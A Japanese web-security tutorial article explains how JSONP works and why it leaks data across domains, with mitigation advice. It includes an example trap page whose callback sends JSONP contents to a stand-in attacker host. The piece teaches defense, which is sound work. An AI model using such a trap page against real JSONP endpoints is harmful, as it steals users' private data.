XSSにCSRFにSQLインジェクションにディレクトリトラバーサル……Webアプリケーションのプログラマが知っておくべき脆弱性はいっぱいあります。そこで本連載では、そのようなメジャーなもの“以外”も掘り下げていきます (編集部)
皆さんこんにちは、はせがわようすけです。今回は、JSONPを使用する場合のセキュリティについて解説しましょう。
JSONPとは、JSON with Paddingの名称が示しているとおり、JSON形式のデータにコールバック関数の呼び出しのためのコードを付加することで、クロスドメインでデータの受け渡しを実現するためのデータ形式です。JavaScriptからクロスドメインでのデータが簡単に扱えることなどを理由に、多数のWebアプリケーションでAPIの一部としてJSONP形式でデータの提供が行われています。
具体的な例を見てみましょう。データの提供側は、「http://example.jp/weather.json?loc=tokyo」というURLで、以下のようなJSONP形式のデータを出力しているとします。
callback( { "city" : "tokyo", "weather" : "rain" } ); |
JSONデータを引数に、callbackという関数を呼び出す形になっているのが分かるかと思います。このデータを利用するJavaScriptアプリケーションの側は、最も簡単な方法としては
<script> function callback( json ){ alert( "東京の天気は" + json.weather ); } </script> |
のように、<script>要素を使ってJSONPデータをJavaScriptのソースとして読み込むことになります。
JSONP内ではcallbackという関数を呼び出していますので、事前にcallbackという名前の関数を用意しておくことで、提供されたJSONデータをJavaScriptによるアプリケーション側で簡単に利用できます。
このように<script>要素を利用してスクリプトとして外部からのデータを受け取っていますので、XMLHttpRequestを使ってデータを受け取る場合のようにSame Origin Policyの制約を受けることなく、アプリケーションの置かれているドメインと異なるドメインから提供されるデータであっても、JavaScriptにて受け取ることができます。
では、この便利なJSONPを使う上で気を付けなければいけない、セキュリティ上の注意点を挙げていきましょう。
上の例で示したとおり、JSONPによって提供されるデータは Same Origin Policyの制約を受けずに、任意のサイトに置かれているJavaScriptからアクセスすることができます。これは攻撃者にとっても同じ条件ですので、攻撃者が用意したわなのページから、JSONPを読み込むこともできてしまいます。
例えば攻撃者が次のようなわなのページを用意し、被害者にアクセスさせたとします。
<script> function callback( json ){ location.href = "http://attacker.example.com/?" |
被害者がこのわなのページをブラウザで開くと、JSONPの内容を攻撃者のサイトに送信してしまいます。今回の例では天気という機密性のないデータですが、例えばWebメールのアドレス帳などのように、やりとりするデータに機密情報を含めたくなることもあるでしょう。JSONPはそもそもクロスドメインの制約を超えてデータを提供するための仕組みですので、攻撃者の用意した悪意あるサイトであっても、正規のサイトと同様にJSONデータが引き渡されます。よって、JSONPによるデータを提供する場合には、JSONP内には機密情報は含めないように注意しなければいけません。
どうしてもJSONP内に正規のアプリケーションのみ利用できる機密情報を含めたい場合には、JSONPを提供するURLを、第三者にとって推測不能なものにするという方法があります。JSONPを取得するURLが攻撃者にも推測不能であれば、攻撃者がわなのページ内に<script>のsrcとしてJSONPを指定することができなくなります。
JSONPの提供側でリファラを確認し、正規のWebサイトから要求されたときのみJSONPを提供するという方法もありますが、環境によってはリファラが無効になっていることもあるため、この方法はお勧めできません。
Copyright © ITmedia, Inc. All Rights Reserved.